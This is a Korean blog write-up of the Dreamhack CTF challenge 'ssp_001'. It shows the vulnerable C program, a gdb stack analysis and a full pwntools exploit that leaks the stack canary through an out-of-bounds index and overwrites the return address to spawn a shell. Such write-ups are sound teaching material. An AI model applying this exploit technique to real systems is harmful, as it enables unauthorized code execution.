암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] ssp_001 본문

Dreamhack/Pwnable

[Dreamhack] ssp_001

h34hg0 2023. 4. 9. 17:47

문제


 

 

문제 파일 : ssp_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

풀이


checksec 을 통하여 적용되어 있는 보호기법 중에 카나리가 적용된 것을 확인할 수 있다.

 

checksec --file=./ssp_001

 

ssp_001.c 코드를 보자.

 

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;

 

box 와 name 배열이 0x40 만큼 선언되어 있는 것을 볼 수 있다.

 

    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }

 

main에서 while 문을 보면, menu 함수를 호출하고, select를 입력 받는다. 

 

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

 

menu 함수는 안내문을 출력해주는 함수이고, 호출 이후에 select를 read 함수를 통해 입력 받아서 switch 문의 동작을 결정한다.

 

입력결과에 따른 switch 문의 동작은 아래와 같다.

 

F 를 입력시 box 의 크기 만큼을 입력 받는다.

P를 입력시 box 배열의 인덱스 값을 입력 받아 해당하는 값을 출력해준다.

E를 입력시 name에 입력할 크기를 입력 받은 후, name을 입력받고 종료한다.

 

여기서 

P 는 인덱스 값의 크기를 마음대로 지정이 가능하므로 카나리의 값을 한 바이트씩 출력하여 알아 올 수 있다. ( canary leak )

E 는 name의 크기를 마음대로 지정이 가능하므로 rao ( return address overflow ) 가 가능하다.

 

void get_shell() {
    system("/bin/sh");
}

 

ssp_001.c 에 함수를 보면 get_shell 함수가 있다.

get_shell 함수는 쉘을 실행해주는 함수이므로 이 함수의 주소값을 구해서 rao 를 하면 쉘을 획득할 수 있다.

 

따라서 순서는 다음과 같다.

  1. get_shell 함수  주소값 구하기.
  2. 스택 구조 분석
  3. 카나리의 값을 알기 위해 스택의 구조를 파악한 후, P 입력을 통해 카나리의 위치에 해당하는 인덱스를 입력하여 카나리의 값 알아오기.
  4. 알아온 카나리의 값을 통해 카나리를 우회하고, main 함수의 return address를 get_shell 함수의 주소로 덮어서 쉘 획득하기.

 

print get_shell

 

get_shell의 주소값은 gdb의 print 명령어를 이용하여 확인할 수 있으며 주소값이 4byte인 것을 확인할 수 있다.

 

이제 디버깅을 해서 스택구조를 확인해보자.

 

 

start 를 입력하여 main에 브레이크 포인트를 걸어서 디버깅을 하다보면 <main+117> 부분에서 2byte 만큼을 입력해야한다. 2byte의 크기를 가지는 배열이 select 임을 알 수 있고, 즉 read(0, select, 2); 함수를 call 하는 것을 알 수 있다.

 

        menu();
        read(0, select, 2);

 

박스값을 입력하기 위해 여기서는 F 를 입력하자.

 

이제 계속 디버깅을 하다보면 다음 부분에서 입력을 받는다.

 

 

0x40 크기 만큼 입력 받으므로 아래의 read 함수인 것을 알 수 있다.

 

            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;

 

A를 0x40 = 64 번 반복한 문자열을 입력해주고, stack 100 명령어를 입력하여 stack을 확인해 보자.

 

stack 100

 

0xfffffd010 : AAAAA~~ ( buf, 0x40 bytes )

0xffffd050 : 0x00 ~~  ( 0x40 bytes )

0xffffd090 : 0x22de2c00 ( canary )

0xffffd094 : 0xf7ffcb80 

0xffffd098 : 0xf7ffd020 

0xffffd09c : 0xf7c21519 ( return address )

 

스택을 보면 box의 위치가 0xfffffd010 이고, 다음으로는 0x40크기의 공간이 있고, 0xffffd090 주소의 값의 첫바이트가 00 이므로 카나리임을 알 수 있다. 그리고 ebp 다음 위치 ( ebp  +4 ) 가 return address 의 위치이다.

 

위에서 했던 방법으로 name을 확인해보면 box 다음의 0x40 만큼의 공간이 name의 저장공간인것을 알 수 있다.

 

stack 100

0xffffd010 : 0x00~~ ( buf )

0xffffd050 : AAAA~~ ( name )

0xffffd090 : 0xe716f00 ( canary )

0xffffd094 : 0xf7ffcb80 

0xffffd098 : 0xf7ffd020

0xffffd09c : 0xf7c21519  ( return address )

 

이제 스택의 구조를 파악했다.

 

buf + 0x80 에 카나리가 있으므로 카나리의 값을 알기 위해서 사용해야 하는 인덱스 값이 128 ( 0x80 ), 129 ( 0x81 ), 130 ( 0x82 ), 131 ( 0x83 ) 인 것을 알 수 있다.

 

그리고 name 바로 위에 canary가 있고, canary + 0x0c 위치에서 return address 값이 있으므로 rao ( return address overflow ) 공격 페이로드를

아무값 ( 0x40 ) + 카나리 ( 0x04 ) +  아무값 ( 0x0c ) + get_shell 함수 주소 ( 0x04 ) 로 작성하면 된다.

 

알아낸 사실을 바탕으로 익스플로잇 코드를 작성하면 다음과 같다.

exploit.py

from pwn import *

# p = process('./ssp_001')
p = remote('host3.dreamhack.games', 11620)

get_shell = 0x80486b9 # get_shell 함수 주소

payload = b''
len = 0x40 + 0x40
payload += b'A' * len

p.recvuntil('> ')
p.sendline('F')

p.recvuntil('input : ')
p.send(payload)  # 'bA' * 0x40 를 box값으로 보냄

cnry = b'' # canary

for i  in range(len + 3, len - 1, -1):			# canary 획득, i = 131 (0x83), 130 (0x82), 129 (0x81),  128 (0x80)
    p.sendlineafter("> ", 'P')					# 리틀 엔디언이므로 순서 거꾸로
    p.sendlineafter("Element index : ", str(i))
    p.recvuntil('is : ')
    cnry += p.recvn(2)

success(f'canary : {cnry}')

p.recvuntil('> ')
p.sendline('E')

p.recvuntil('Size : ')
p.sendline(str(0x50))			# name 입력 크기

payload = b''
payload += b'A' * 0x40 			# name bufer
payload += p32(int(cnry, 16)) 	# canary
payload += b'A'*8 				# SFP + dummy	
payload += p32(get_shell) 		# return address

p.recvuntil('Name : ')
p.send(payload)					#payload 전송

p.interactive()					#쉘 획득

 

위 코드를 실행하면 쉘을 획득하여 플래그를 확인할 수 있다.


'Dreamhack > Pwnable' 카테고리의 다른 글

[Dreamhack] rop  (0) 2023.05.14
[Dreamhack] Return_to_Library  (0) 2023.05.04
[Dreamhack] Return to Shellcode  (0) 2023.04.07
[Dreamhack] basic_exploitation_000  (0) 2023.04.02
[Dreamhack] basic_exploitation_001  (0) 2023.04.02